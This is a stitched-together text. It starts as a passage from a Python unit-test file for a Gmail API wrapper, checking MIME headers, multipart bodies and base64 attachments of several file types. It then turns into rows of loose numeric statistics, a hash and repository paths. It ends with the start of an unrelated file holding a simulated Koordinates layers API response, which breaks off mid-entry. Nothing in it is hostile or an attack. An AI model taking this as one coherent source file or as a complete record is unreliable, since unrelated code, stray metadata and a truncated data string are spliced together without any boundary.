# Check the message
# The first part is just a container for the text and html parts
parts = decoded.get_payload()
self.assertEqual(parts[0].get_payload(), message_text)
self.assertEqual(parts[1].get_payload(), message_html)
# Check the number of parts
expected_parts = 3
self.assertEqual(sum([1 for i in decoded.walk()]), expected_parts)
def test_create_message_html_no_text(self):
sender = "Sender <sender@email.com>"
to = "Recepient <recepient@email.com>"
subject = "This is a test html email"
message_html = "<p>This is the html message part of the email</p>"
msg = self.gmail._create_message_html(
sender, to, subject, '', message_html)
raw = self.gmail._encode_raw_message(msg)
decoded = email.message_from_bytes(
base64.urlsafe_b64decode(bytes(raw['raw'], 'utf-8')))
expected_items = [
('Content-Type', 'multipart/alternative;\n boundary='),
('MIME-Version', '1.0'),
('subject', subject),
('from', sender),
('to', to)]
# The boundary id changes everytime. Replace it with the beginnig to
# avoid failures
updated_items = []
for i in decoded.items():
if 'Content-Type' in i[0] and 'multipart/alternative;\n boundary=' in i[1]: # noqa
updated_items.append(
('Content-Type', 'multipart/alternative;\n boundary='))
else:
updated_items.append((i[0], i[1]))
# Check the metadata
self.assertListEqual(updated_items, expected_items)
# Check the message
# The first part is just a container for the text and html parts
parts = decoded.get_payload()
self.assertEqual(parts[0].get_payload(), message_html)
# Check the number of parts
expected_parts = 2
self.assertEqual(sum([1 for i in decoded.walk()]), expected_parts)
def test_create_message_attachments(self):
sender = "Sender <sender@email.com>"
to = "Recepient <recepient@email.com>"
subject = "This is a test email with attachements"
message_text = "The is the message text of the email with attachments"
message_html = ("<p>This is the html message part of the email "
"with attachments</p>")
attachments = [f'{_dir}/assets/loremipsum.txt']
msg = self.gmail._create_message_attachments(
sender, to, subject, message_text, attachments,
message_html=message_html)
raw = self.gmail._encode_raw_message(msg)
decoded = email.message_from_bytes(
base64.urlsafe_b64decode(bytes(raw['raw'], 'utf-8')))
expected_items = [
('Content-Type', 'multipart/alternative;\n boundary='),
('MIME-Version', '1.0'),
('to', to),
('from', sender),
('subject', subject)]
# The boundary id changes everytime. Replace it with the beginnig to
# avoid failures
updated_items = []
for i in decoded.items():
if 'Content-Type' in i[0] and 'multipart/alternative;\n boundary=' in i[1]: # noqa
updated_items.append(
('Content-Type', 'multipart/alternative;\n boundary='))
else:
updated_items.append((i[0], i[1]))
# Check the metadata
self.assertListEqual(updated_items, expected_items)
# Check the message
# The first part is just a container for the text and html parts
parts = decoded.get_payload()
self.assertEqual(parts[0].get_payload(), message_text)
self.assertEqual(parts[1].get_payload(), message_html)
if os.linesep == '\r\n':
file = f'{_dir}/assets/loremipsum_b64_win_txt.txt'
else:
file = f'{_dir}/assets/loremipsum_b64_txt.txt'
with open(file, 'r') as f:
b64_txt = f.read()
self.assertEqual(parts[2].get_payload(), b64_txt)
self.assertEqual(parts[2].get_content_type(), 'text/plain')
# Check the number of parts
expected_parts = 4
self.assertEqual(sum([1 for i in decoded.walk()]), expected_parts)
def test_create_message_attachments_jpeg(self):
sender = "Sender <sender@email.com>"
to = "Recepient <recepient@email.com>"
subject = "This is a test email with attachements"
message_text = "The is the message text of the email with attachments"
message_html = ("<p>This is the html message part of the email "
"with attachments</p>")
attachments = [f'{_dir}/assets/loremipsum.jpeg']
msg = self.gmail._create_message_attachments(
sender, to, subject, message_text, attachments,
message_html=message_html)
raw = self.gmail._encode_raw_message(msg)
decoded = email.message_from_bytes(
base64.urlsafe_b64decode(bytes(raw['raw'], 'utf-8')))
expected_items = [
('Content-Type', 'multipart/alternative;\n boundary='),
('MIME-Version', '1.0'),
('to', to),
('from', sender),
('subject', subject)]
# The boundary id changes everytime. Replace it with the beginnig to
# avoid failures
updated_items = []
for i in decoded.items():
if 'Content-Type' in i[0] and 'multipart/alternative;\n boundary=' in i[1]: # noqa
updated_items.append(
('Content-Type', 'multipart/alternative;\n boundary='))
else:
updated_items.append((i[0], i[1]))
# Check the metadata
self.assertListEqual(updated_items, expected_items)
# Check the message
# The first part is just a container for the text and html parts
parts = decoded.get_payload()
self.assertEqual(parts[0].get_payload(), message_text)
self.assertEqual(parts[1].get_payload(), message_html)
with open(f'{_dir}/assets/loremipsum_b64_jpeg.txt', 'r') as f:
b64_txt = f.read()
self.assertEqual(parts[2].get_payload(), b64_txt)
expected_id = f"<{attachments[0].split('/')[-1]}>"
self.assertEqual(parts[2].get('Content-ID'), expected_id)
self.assertEqual(parts[2].get_content_type(), 'image/jpeg')
# Check the number of parts
expected_parts = 4
self.assertEqual(sum([1 for i in decoded.walk()]), expected_parts)
def test_create_message_attachments_m4a(self):
sender = "Sender <sender@email.com>"
to = "Recepient <recepient@email.com>"
subject = "This is a test email with attachements"
message_text = "The is the message text of the email with attachments"
message_html = ("<p>This is the html message part of the email "
"with attachments</p>")
attachments = [f'{_dir}/assets/loremipsum.m4a']
msg = self.gmail._create_message_attachments(
sender, to, subject, message_text, attachments,
message_html=message_html)
raw = self.gmail._encode_raw_message(msg)
decoded = email.message_from_bytes(
base64.urlsafe_b64decode(bytes(raw['raw'], 'utf-8')))
expected_items = [
('Content-Type', 'multipart/alternative;\n boundary='),
('MIME-Version', '1.0'),
('to', to),
('from', sender),
('subject', subject)]
# The boundary id changes everytime. Replace it with the beginnig to
# avoid failures
updated_items = []
for i in decoded.items():
if 'Content-Type' in i[0] and 'multipart/alternative;\n boundary=' in i[1]: # noqa
updated_items.append(
('Content-Type', 'multipart/alternative;\n boundary='))
else:
updated_items.append((i[0], i[1]))
# Check the metadata
self.assertListEqual(updated_items, expected_items)
# Check the message
# The first part is just a container for the text and html parts
parts = decoded.get_payload()
self.assertEqual(parts[0].get_payload(), message_text)
self.assertEqual(parts[1].get_payload(), message_html)
with open(f'{_dir}/assets/loremipsum_b64_m4a.txt', 'r') as f:
b64_txt = f.read()
self.assertEqual(parts[2].get_payload(), b64_txt)
self.assertEqual(parts[2].get_content_maintype(), 'audio')
# Check the number of parts
expected_parts = 4
self.assertEqual(sum([1 for i in decoded.walk()]), expected_parts)
def test_create_message_attachments_mp3(self):
sender = "Sender <sender@email.com>"
to = "Recepient <recepient@email.com>"
subject = "This is a test email with attachements"
message_text = "The is the message text of the email with attachments"
message_html = ("<p>This is the html message part of the email "
"with attachments</p>")
attachments = [f'{_dir}/assets/loremipsum.mp3']
msg = self.gmail._create_message_attachments(
sender, to, subject, message_text, attachments,
message_html=message_html)
raw = self.gmail._encode_raw_message(msg)
decoded = email.message_from_bytes(
base64.urlsafe_b64decode(bytes(raw['raw'], 'utf-8')))
expected_items = [
('Content-Type', 'multipart/alternative;\n boundary='),
('MIME-Version', '1.0'),
('to', to),
('from', sender),
('subject', subject)]
# The boundary id changes everytime. Replace it with the beginnig to
# avoid failures
updated_items = []
for i in decoded.items():
if 'Content-Type' in i[0] and 'multipart/alternative;\n boundary=' in i[1]: # noqa
updated_items.append(
('Content-Type', 'multipart/alternative;\n boundary='))
else:
updated_items.append((i[0], i[1]))
# Check the metadata
self.assertListEqual(updated_items, expected_items)
# Check the message
# The first part is just a container for the text and html parts
parts = decoded.get_payload()
self.assertEqual(parts[0].get_payload(), message_text)
self.assertEqual(parts[1].get_payload(), message_html)
with open(f'{_dir}/assets/loremipsum_b64_mp3.txt', 'r') as f:
b64_txt = f.read()
self.assertEqual(parts[2].get_payload(), b64_txt)
self.assertEqual(parts[2].get_content_type(), 'audio/mpeg')
# Check the number of parts
expected_parts = 4
self.assertEqual(sum([1 for i in decoded.walk()]), expected_parts)
def test_create_message_attachments_mp4(self):
sender = "Sender <sender@email.com>"
to = "Recepient <recepient@email.com>"
subject = "This is a test email with attachements"
message_text = "The is the message text of the email with attachments"
message_html = ("<p>This is the html message part of the email "
"with attachments</p>")
attachments = [f'{_dir}/assets/loremipsum.mp4']
msg = self.gmail._create_message_attachments(
sender, to, subject, message_text, attachments,
message_html=message_html)
raw = self.gmail._encode_raw_message(msg)
decoded = email.message_from_bytes(
base64.urlsafe_b64decode(bytes(raw['raw'], 'utf-8')))
expected_items = [
('Content-Type', 'multipart/alternative;\n boundary='),
('MIME-Version', '1.0'),
('to', to),
('from', sender),
('subject', subject)]
# The boundary id changes everytime. Replace it with the beginnig to
# avoid failures
updated_items = []
for i in decoded.items():
if 'Content-Type' in i[0] and 'multipart/alternative;\n boundary=' in i[1]: # noqa
updated_items.append(
('Content-Type', 'multipart/alternative;\n boundary='))
else:
updated_items.append((i[0], i[1]))
# Check the metadata
self.assertListEqual(updated_items, expected_items)
# Check the message
# The first part is just a container for the text and html parts
parts = decoded.get_payload()
self.assertEqual(parts[0].get_payload(), message_text)
self.assertEqual(parts[1].get_payload(), message_html)
with open(f'{_dir}/assets/loremipsum_b64_mp4.txt', 'r') as f:
b64_txt = f.read()
self.assertEqual(parts[2].get_payload(), b64_txt)
self.assertEqual(parts[2].get_content_type(), 'video/mp4')
# Check the number of parts
expected_parts = 4
self.assertEqual(sum([1 for i in decoded.walk()]), expected_parts)
def test_create_message_attachments_pdf(self):
sender = "Sender <sender@email.com>"
to = "Recepient <recepient@email.com>"
subject = "This is a test email with attachements"
message_text = "The is the message text of the email with attachments"
message_html = ("<p>This is the html message part of the email "
"with attachments</p>")
attachments = [f'{_dir}/assets/loremipsum.pdf']
msg = self.gmail._create_message_attachments(
sender, to, subject, message_text, attachments,
message_html=message_html)
raw = self.gmail._encode_raw_message(msg)
decoded = email.message_from_bytes(
base64.urlsafe_b64decode(bytes(raw['raw'], 'utf-8')))
expected_items = [
('Content-Type', 'multipart/alternative;\n boundary='),
('MIME-Version', '1.0'),
('to', to),
('from', sender),
('subject', subject)]
# The boundary id changes everytime. Replace it with the beginnig to
# avoid failures
updated_items = []
for i in decoded.items():
if 'Content-Type' in i[0] and 'multipart/alternative;\n boundary=' in i[1]: # noqa
updated_items.append(
('Content-Type', 'multipart/alternative;\n boundary='))
else:
updated_items.append((i[0], i[1]))
# Check the metadata
self.assertListEqual(updated_items, expected_items)
# Check the message
# The first part is just a container for the text and html parts
parts = decoded.get_payload()
self.assertEqual(parts[0].get_payload(), message_text)
self.assertEqual(parts[1].get_payload(), message_html)
with open(f'{_dir}/assets/loremipsum_b64_pdf.txt', 'r') as f:
b64_txt = f.read()
self.assertEqual(parts[2].get_payload(), b64_txt)
self.assertEqual(parts[2].get_content_type(), 'application/pdf')
# Check the number of parts
expected_parts = 4
self.assertEqual(sum([1 for i in decoded.walk()]), expected_parts)
def test__validate_email_string(self):
emails = [
{"email": "Sender <sender@email.com>", "expected": True},
{"email": "sender@email.com", "expected": True},
{"email": "<sender@email.com>", "expected": True},
{"email": "Sender sender@email.com", "expected": False},
{"email": "Sender <sender2email.com>", "expected": False},
{"email": "Sender <sender@email,com>", "expected": True},
{"email": "Sender <sender+alias@email,com>", "expected": True}
]
for e in emails:
if e['expected']:
self.assertTrue(self.gmail._validate_email_string(e['email']))
else:
self.assertRaises(
ValueError, self.gmail._validate_email_string, e['email'])
# TODO test sending emails
if __name__ == "__main__":
unittest.main()
| 38.774908
| 95
| 0.589551
| 2,479
| 21,016
| 4.842275
| 0.089149
| 0.047484
| 0.046651
| 0.057981
| 0.872126
| 0.852216
| 0.83872
| 0.827308
| 0.815978
| 0.804065
| 0
| 0.015908
| 0.288114
| 21,016
| 541
| 96
| 38.84658
| 0.786445
| 0.086553
| 0
| 0.718421
| 0
| 0
| 0.25989
| 0.077763
| 0
| 0
| 0
| 0.001848
| 0.128947
| 1
| 0.031579
| false
| 0
| 0.021053
| 0
| 0.055263
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e3e126c651085c075735496230e714b25423eda5
| 22,959
|
py
|
Python
|
tests/response_data/responses_1.py
|
koordinates/python-client
|
7e60a183b5d1dbb8d45423040e1bf8c42a5c2d1e
|
[
"BSD-3-Clause"
] | 3
|
2015-10-26T06:38:02.000Z
|
2018-08-17T04:41:10.000Z
|
tests/response_data/responses_1.py
|
koordinates/python-client
|
7e60a183b5d1dbb8d45423040e1bf8c42a5c2d1e
|
[
"BSD-3-Clause"
] | 21
|
2015-07-10T19:24:24.000Z
|
2020-09-22T01:44:20.000Z
|
tests/response_data/responses_1.py
|
koordinates/python-client
|
7e60a183b5d1dbb8d45423040e1bf8c42a5c2d1e
|
[
"BSD-3-Clause"
] | 2
|
2015-08-24T17:47:20.000Z
|
2019-01-16T20:55:40.000Z
|
layers_multiple_good_simulated_response = """[{"id": 1474, "url": "https://koordinates.com/services/api/v1/layers/1474/", "type": "layer", "name": "Wellington City Building Footprints", "first_published_at": "2010-06-21T05:05:05.953", "published_at": "2012-05-09T02:11:27.020Z"}, {"id": 1479, "url": "https://koordinates.com/services/api/v1/layers/1479/", "type": "layer", "name": "Wellington City 1m Contours (2009)", "first_published_at": "2010-06-23T06:35:44.803", "published_at": "2010-06-23T06:35:44.803Z"}, {"id": 3185, "url": "https://koordinates.com/services/api/v1/layers/3185/", "type": "layer", "name": "Christchurch Post-Earthquake Aerial Photos (24 Feb 2011)", "first_published_at": "2011-03-24T21:24:30.105", "published_at": "2014-12-08T03:10:27.305Z"}, {"id": 1236, "url": "https://koordinates.com/services/api/v1/layers/1236/", "type": "layer", "name": "NZ Cadastral Parcel Polygons", "first_published_at": "2009-10-19T14:46:22.876", "published_at": "2009-10-19T14:46:22.876Z"}, {"id": 183, "url": "https://koordinates.com/services/api/v1/layers/183/", "type": "layer", "name": "Improved NZ Road Centrelines (August 2011)", "first_published_at": "2008-06-11T00:00:00", "published_at": "2008-06-11T00:00:00Z"}, {"id": 1478, "url": "https://koordinates.com/services/api/v1/layers/1478/", "type": "layer", "name": "Wellington City Council Kerbs", "first_published_at": "2010-06-23T06:10:06.098", "published_at": "2012-05-09T01:55:29.311Z"}, {"id": 754, "url": "https://koordinates.com/services/api/v1/layers/754/", "type": "layer", "name": "DOC Public Conservation Areas", "first_published_at": "2009-05-05T23:23:17.637", "published_at": "2014-11-06T22:13:57.570Z"}, {"id": 1475, "url": "https://koordinates.com/services/api/v1/layers/1475/", "type": "layer", "name": "Wellington City 5m Contours (2004)", "first_published_at": "2010-06-21T21:13:05.280", "published_at": "2010-06-21T21:13:05.280Z"}, {"id": 513, "url": "https://koordinates.com/services/api/v1/layers/513/", "type": "layer", "name": "NZ Landcover (100m)", "first_published_at": "2009-02-09T01:17:42.293", "published_at": "2009-02-09T01:17:42.293Z"}, {"id": 743, "url": "https://koordinates.com/services/api/v1/layers/743/", "type": "layer", "name": "NZ School Zones (Sept 2010)", "first_published_at": "2009-04-25T04:57:35.376", "published_at": "2009-04-25T04:57:35.376Z"}, {"id": 281, "url": "https://koordinates.com/services/api/v1/layers/281/", "type": "layer", "name": "NZ Mainland Contours (Topo, 1 50k)", "first_published_at": "2008-09-02T06:15:20.402", "published_at": "2015-01-13T23:19:57.187Z"}, {"id": 1231, "url": "https://koordinates.com/services/api/v1/layers/1231/", "type": "layer", "name": "NZ Raster Image (Topo50)", "first_published_at": "2009-09-25T16:10:03.092", "published_at": "2015-01-09T19:32:26.673Z"}, {"id": 1066, "url": "https://koordinates.com/services/api/v1/layers/1066/", "type": "layer", "name": "NZ Deprivation Index 2006", "first_published_at": "2009-08-10T05:39:33.726", "published_at": "2009-08-10T05:39:33.726Z"}, {"id": 1431, "url": "https://koordinates.com/services/api/v1/layers/1431/", "type": "layer", "name": "Wellington City Suburbs", "first_published_at": "2010-04-27T01:17:08.579", "published_at": "2010-04-27T01:17:08.579Z"}, {"id": 3774, "url": "https://koordinates.com/services/api/v1/layers/3774/", "type": "layer", "name": "Wellington City 1m Contours (2011)", "first_published_at": "2011-07-25T01:31:00.173", "published_at": "2011-07-25T01:31:00.173Z"}, {"id": 1541, "url": "https://koordinates.com/services/api/v1/layers/1541/", "type": "layer", "name": "New Zealand Region Bathymetry", "first_published_at": "2010-11-02T23:59:30.552", "published_at": "2010-11-02T23:59:30.552Z"}, {"id": 1443, "url": "https://koordinates.com/services/api/v1/layers/1443/", "type": "layer", "name": "Wellington City Wind Zones", "first_published_at": "2010-05-18T04:29:58.694", "published_at": "2012-05-15T00:36:48.756Z"}, {"id": 1331, "url": "https://koordinates.com/services/api/v1/layers/1331/", "type": "layer", "name": "NZ State Highway Centrelines", "first_published_at": "2010-02-21T22:36:20.590", "published_at": "2012-06-20T20:26:32.559Z"}, {"id": 1418, "url": "https://koordinates.com/services/api/v1/layers/1418/", "type": "layer", "name": "NZ 80m Digital Elevation Model", "first_published_at": "2010-03-27T02:46:28.010", "published_at": "2010-03-27T02:46:28.010Z"}, {"id": 1245, "url": "https://koordinates.com/services/api/v1/layers/1245/", "type": "layer", "name": "NZ Area Units (2006 Census)", "first_published_at": "2009-11-13T02:16:23.196", "published_at": "2009-11-13T02:16:23.196Z"}, {"id": 2138, "url": "https://koordinates.com/services/api/v1/layers/2138/", "type": "layer", "name": "Wellington City 1m Digital Elevation Model", "first_published_at": "2011-01-12T04:23:09.875", "published_at": "2011-01-12T04:23:09.875Z"}, {"id": 243, "url": "https://koordinates.com/services/api/v1/layers/243/", "type": "layer", "name": "NZ Schools", "first_published_at": "2008-06-29T00:00:00", "published_at": "2008-06-29T00:00:00Z"}, {"id": 305, "url": "https://koordinates.com/services/api/v1/layers/305/", "type": "layer", "name": "NZ Rainfall", "first_published_at": "2008-09-26T11:55:05.581", "published_at": "2008-09-26T11:55:05.581Z"}, {"id": 413, "url": "https://koordinates.com/services/api/v1/layers/413/", "type": "layer", "name": "NZMS 260 Map Series Index", "first_published_at": "2008-12-02T03:06:00.754", "published_at": "2008-12-02T03:06:00.754Z"}, {"id": 306, "url": "https://koordinates.com/services/api/v1/layers/306/", "type": "layer", "name": "NZ Major Rivers", "first_published_at": "2008-09-26T11:55:10.002", "published_at": "2008-09-26T11:55:10.002Z"}, {"id": 1103, "url": "https://koordinates.com/services/api/v1/layers/1103/", "type": "layer", "name": "World Country Boundaries", "first_published_at": "2009-07-01T06:04:57.642", "published_at": "2009-07-01T06:04:57.642Z"}, {"id": 3903, "url": "https://koordinates.com/services/api/v1/layers/3903/", "type": "layer", "name": "NZ Post Postcode Boundaries (June 2011; licensed only for Mix & Mash 2011)", "first_published_at": "2011-08-26T02:51:11.827", "published_at": "2011-08-26T02:51:11.827Z"}, {"id": 753, "url": "https://koordinates.com/services/api/v1/layers/753/", "type": "layer", "name": "DOC Tracks", "first_published_at": "2009-05-04T01:51:35.509", "published_at": "2014-11-06T22:17:19.869Z"}, {"id": 4320, "url": "https://koordinates.com/services/api/v1/layers/4320/", "type": "layer", "name": "NZTA State Highway 2011-2012 Aerial Imagery, 0.15m", "first_published_at": "2012-07-31T05:58:45.937", "published_at": "2012-07-31T05:58:45.937Z"}, {"id": 518, "url": "https://koordinates.com/services/api/v1/layers/518/", "type": "layer", "name": "NZ Cadastral Titles", "first_published_at": "2009-03-24T08:24:05.908", "published_at": "2009-03-24T08:24:05.908Z"}, {"id": 4068, "url": "https://koordinates.com/services/api/v1/layers/4068/", "type": "layer", "name": "Wellington Region Liquefaction Potential", "first_published_at": "2012-02-23T01:29:39.321", "published_at": "2012-02-23T01:29:39.321Z"}, {"id": 3793, "url": "https://koordinates.com/services/api/v1/layers/3793/", "type": "layer", "name": "Porirua 1m Contours (2005)", "first_published_at": "2011-07-28T22:24:15.023", "published_at": "2011-07-28T22:24:15.023Z"}, {"id": 3658, "url": "https://koordinates.com/services/api/v1/layers/3658/", "type": "layer", "name": "NZ Populated Places - Polygons", "first_published_at": "2011-06-16T10:22:13.529", "published_at": "2011-06-16T10:22:13.529Z"}, {"id": 515, "url": "https://koordinates.com/services/api/v1/layers/515/", "type": "layer", "name": "NZ Greyscale Hillshade (100m)", "first_published_at": "2009-02-09T01:15:19.323", "published_at": "2009-02-09T01:15:19.323Z"}, {"id": 748, "url": "https://koordinates.com/services/api/v1/layers/748/", "type": "layer", "name": "US Airports", "first_published_at": "2009-04-27T00:48:16.085", "published_at": "2009-04-27T00:48:16.085Z"}, {"id": 1285, "url": "https://koordinates.com/services/api/v1/layers/1285/", "type": "layer", "name": "World Urban Areas (1:10 million)", "first_published_at": "2009-12-03T21:15:14.794", "published_at": "2009-12-03T21:15:14.794Z"}, {"id": 3732, "url": "https://koordinates.com/services/api/v1/layers/3732/", "type": "layer", "name": "05 Auckland 15m DEM (NZSoSDEM v1.0)", "first_published_at": "2011-08-11T21:26:03.746", "published_at": "2011-08-11T21:26:03.746Z"}, {"id": 874, "url": "https://koordinates.com/services/api/v1/layers/874/", "type": "layer", "name": "Oregon Highway Mileposts (2007)", "first_published_at": "2009-05-30T05:43:41.223", "published_at": "2009-05-30T05:43:41.223Z"}, {"id": 1359, "url": "https://koordinates.com/services/api/v1/layers/1359/", "type": "layer", "name": "NZ Residential Areas", "first_published_at": "2010-03-19T07:13:28.231", "published_at": "2010-03-19T07:13:28.231Z"}, {"id": 1156, "url": "https://koordinates.com/services/api/v1/layers/1156/", "type": "layer", "name": "Northland Aerial Photography Acquisition", "first_published_at": "2009-09-09T04:42:27.569", "published_at": "2009-09-09T04:42:27.569Z"}, {"id": 4071, "url": "https://koordinates.com/services/api/v1/layers/4071/", "type": "layer", "name": "Wellington Region Combined Earthquake Hazard", "first_published_at": "2012-03-01T23:43:56.546", "published_at": "2012-03-01T23:43:56.546Z"}, {"id": 152, "url": "https://koordinates.com/services/api/v1/layers/152/", "type": "layer", "name": "NZ Petrol Stations", "first_published_at": "2008-05-21T00:00:00", "published_at": "2012-10-09T21:41:48.247Z"}, {"id": 414, "url": "https://koordinates.com/services/api/v1/layers/414/", "type": "layer", "name": "Parcel Boundaries (Nov 2008)", "first_published_at": "2008-12-14T23:30:19.257", "published_at": "2008-12-14T23:30:19.257Z"}, {"id": 2147, "url": "https://koordinates.com/services/api/v1/layers/2147/", "type": "layer", "name": "NZ Meshblocks (2006 Census)", "first_published_at": "2011-01-18T02:43:43.587", "published_at": "2011-01-18T02:43:43.587Z"}, {"id": 284, "url": "https://koordinates.com/services/api/v1/layers/284/", "type": "layer", "name": "NZ Placenames March 2008", "first_published_at": "2008-09-05T06:37:49.514", "published_at": "2008-09-05T06:37:49.514Z"}, {"id": 197, "url": "https://koordinates.com/services/api/v1/layers/197/", "type": "layer", "name": "NZ Regional Councils (2008 Yearly Pattern)", "first_published_at": "2008-06-20T00:00:00", "published_at": "2008-06-20T00:00:00Z"}, {"id": 4328, "url": "https://koordinates.com/services/api/v1/layers/4328/", "type": "layer", "name": "NZTA State Highway 2009-2010 Aerial Imagery, 0.15m", "first_published_at": "2012-08-13T06:27:04.304", "published_at": "2012-08-13T06:27:04.304Z"}, {"id": 3751, "url": "https://koordinates.com/services/api/v1/layers/3751/", "type": "layer", "name": "23 Christchurch 15m DEM (NZSoSDEM v1.0)", "first_published_at": "2011-08-11T21:34:48.565", "published_at": "2011-08-11T21:34:48.565Z"}, {"id": 2216, "url": "https://koordinates.com/services/api/v1/layers/2216/", "type": "layer", "name": "Wellington City Park, Reserve or Cemetery", "first_published_at": "2011-01-31T00:01:10.229", "published_at": "2012-05-31T02:53:16.092Z"}, {"id": 1757, "url": "https://koordinates.com/services/api/v1/layers/1757/", "type": "layer", "name": "Wellington City Aerial Imagery (2009)", "first_published_at": "2010-12-15T21:20:27.081", "published_at": "2010-12-15T21:20:27.081Z"}, {"id": 3657, "url": "https://koordinates.com/services/api/v1/layers/3657/", "type": "layer", "name": "NZ Populated Places - Points", "first_published_at": "2011-06-16T10:12:23.259", "published_at": "2011-06-16T10:12:23.259Z"}, {"id": 6676, "url": "https://koordinates.com/services/api/v1/layers/6676/", "type": "layer", "name": "Christchurch City Building Footprints", "first_published_at": "2014-03-26T18:52:28.289", "published_at": "2014-12-29T20:50:27.710Z"}, {"id": 4241, "url": "https://koordinates.com/services/api/v1/layers/4241/", "type": "layer", "name": "NZ Territorial Authorities (2012 Yearly Pattern)", "first_published_at": "2012-05-18T13:13:06.060", "published_at": "2012-05-18T13:13:06.060Z"}, {"id": 4238, "url": "https://koordinates.com/services/api/v1/layers/4238/", "type": "layer", "name": "NZ Meshblocks (2012 Annual Pattern)", "first_published_at": "2012-05-18T02:50:04.930", "published_at": "2012-05-18T02:50:04.930Z"}, {"id": 198, "url": "https://koordinates.com/services/api/v1/layers/198/", "type": "layer", "name": "NZ Territorial Authorities (2008 Yearly Pattern)", "first_published_at": "2008-06-20T00:00:00", "published_at": "2008-06-20T00:00:00Z"}, {"id": 6612, "url": "https://koordinates.com/services/api/v1/layers/6612/", "type": "layer", "name": "Porirua Building Footprints", "first_published_at": "2013-12-16T19:42:35.118", "published_at": "2013-12-16T19:42:35.118Z"}, {"id": 1701, "url": "https://koordinates.com/services/api/v1/layers/1701/", "type": "layer", "name": "Wellington City Tsunami Evacuation Zones", "first_published_at": "2010-11-09T09:05:25.063", "published_at": "2010-11-09T09:05:25.063Z"}, {"id": 3789, "url": "https://koordinates.com/services/api/v1/layers/3789/", "type": "layer", "name": "Porirua 5m Contours (2005)", "first_published_at": "2011-07-28T04:09:53.691", "published_at": "2011-07-28T04:09:53.691Z"}, {"id": 3162, "url": "https://koordinates.com/services/api/v1/layers/3162/", "type": "layer", "name": "Christchurch / Canterbury Address Points (Feb 2011)", "first_published_at": "2011-02-28T21:49:07.721", "published_at": "2011-02-28T21:49:07.721Z"}, {"id": 189, "url": "https://koordinates.com/services/api/v1/layers/189/", "type": "layer", "name": "NZ Supermarkets", "first_published_at": "2008-06-18T00:00:00", "published_at": "2008-06-18T00:00:00Z"}, {"id": 3743, "url": "https://koordinates.com/services/api/v1/layers/3743/", "type": "layer", "name": "16 Wellington 15m DEM (NZSoSDEM v1.0)", "first_published_at": "2011-08-11T21:33:21.761", "published_at": "2011-08-11T21:33:21.761Z"}, {"id": 297, "url": "https://koordinates.com/services/api/v1/layers/297/", "type": "layer", "name": "NZ SeaCoast (poly)", "first_published_at": "2008-09-26T10:26:19.639", "published_at": "2008-09-26T10:26:19.639Z"}, {"id": 775, "url": "https://koordinates.com/services/api/v1/layers/775/", "type": "layer", "name": "Texas City Limits (2006)", "first_published_at": "2009-05-20T05:58:21.418", "published_at": "2009-05-20T05:58:21.418Z"}, {"id": 791, "url": "https://koordinates.com/services/api/v1/layers/791/", "type": "layer", "name": "Maryland Watersheds", "first_published_at": "2009-05-21T03:00:44.941", "published_at": "2009-05-21T03:00:44.941Z"}, {"id": 242, "url": "https://koordinates.com/services/api/v1/layers/242/", "type": "layer", "name": "NZ Speed Cameras", "first_published_at": "2008-06-25T00:00:00", "published_at": "2008-06-25T00:00:00Z"}, {"id": 514, "url": "https://koordinates.com/services/api/v1/layers/514/", "type": "layer", "name": "NZ Hypsometric Raster (100m)", "first_published_at": "2009-02-09T01:16:46.305", "published_at": "2009-02-09T01:16:46.305Z"}, {"id": 765, "url": "https://koordinates.com/services/api/v1/layers/765/", "type": "layer", "name": "NZ River Polygons (Topo 1:50k)", "first_published_at": "2009-05-18T02:52:38.644", "published_at": "2015-01-08T07:28:14.007Z"}, {"id": 390, "url": "https://koordinates.com/services/api/v1/layers/390/", "type": "layer", "name": "NZ Meshblocks (2008 Yearly Pattern)", "first_published_at": "2008-11-25T00:41:48.949", "published_at": "2008-11-25T00:41:48.949Z"}, {"id": 507, "url": "https://koordinates.com/services/api/v1/layers/507/", "type": "layer", "name": "NZ Payphone Locations", "first_published_at": "2009-01-22T00:58:44.184", "published_at": "2009-01-22T00:58:44.184Z"}, {"id": 412, "url": "https://koordinates.com/services/api/v1/layers/412/", "type": "layer", "name": "NZ Topo 1:50K (Raster Tiles, NZTM)", "first_published_at": "2008-12-08T05:15:38.787", "published_at": "2008-12-08T05:15:38.787Z"}, {"id": 4240, "url": "https://koordinates.com/services/api/v1/layers/4240/", "type": "layer", "name": "NZ Regional Councils (2012 Yearly Pattern)", "first_published_at": "2012-05-18T04:52:35.957", "published_at": "2012-05-18T04:52:35.957Z"}, {"id": 308, "url": "https://koordinates.com/services/api/v1/layers/308/", "type": "layer", "name": "NZ Urban (North)", "first_published_at": "2008-09-26T11:59:44.089", "published_at": "2008-09-26T11:59:44.089Z"}, {"id": 3736, "url": "https://koordinates.com/services/api/v1/layers/3736/", "type": "layer", "name": "09 Taumarunui 15m DEM (NZSoSDEM v1.0)", "first_published_at": "2011-08-11T21:31:03.606", "published_at": "2011-08-11T21:31:03.606Z"}, {"id": 1720, "url": "https://koordinates.com/services/api/v1/layers/1720/", "type": "layer", "name": "New Zealand 250m Bathymetry Rainbow (2008)", "first_published_at": "2010-12-01T03:26:17.579", "published_at": "2010-12-01T03:26:17.579Z"}, {"id": 749, "url": "https://koordinates.com/services/api/v1/layers/749/", "type": "layer", "name": "US Military Bases", "first_published_at": "2009-04-27T01:39:12.709", "published_at": "2009-04-27T01:39:12.709Z"}, {"id": 1721, "url": "https://koordinates.com/services/api/v1/layers/1721/", "type": "layer", "name": "New Zealand 250m Bathymetry Grid (2008)", "first_published_at": "2010-12-01T03:10:08.093", "published_at": "2010-12-01T03:10:08.093Z"}, {"id": 415, "url": "https://koordinates.com/services/api/v1/layers/415/", "type": "layer", "name": "NZ Topo50 Sheet Index", "first_published_at": "2008-12-03T22:36:16.422", "published_at": "2008-12-03T22:36:16.422Z"}, {"id": 2137, "url": "https://koordinates.com/services/api/v1/layers/2137/", "type": "layer", "name": "Wellington City 5m Digital Elevation Model (2004)", "first_published_at": "2011-01-12T02:32:30.290", "published_at": "2011-01-12T02:32:30.290Z"}, {"id": 18, "url": "https://koordinates.com/services/api/v1/layers/18/", "type": "layer", "name": "NZ Coastlines (Topo 1:50k)", "first_published_at": "2007-12-28T00:00:00", "published_at": "2015-01-12T02:37:42.889Z"}, {"id": 4322, "url": 